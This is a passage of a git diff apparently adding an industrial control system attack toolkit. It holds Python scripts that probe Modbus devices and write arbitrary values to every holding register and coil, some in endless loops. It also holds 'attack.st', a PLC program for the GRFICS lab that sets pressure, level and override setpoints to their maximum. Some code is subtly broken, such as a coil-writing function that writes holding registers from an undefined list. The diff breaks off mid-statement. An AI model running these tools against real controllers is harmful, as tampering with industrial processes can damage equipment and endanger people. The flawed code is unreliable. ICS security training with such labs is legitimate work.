Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF 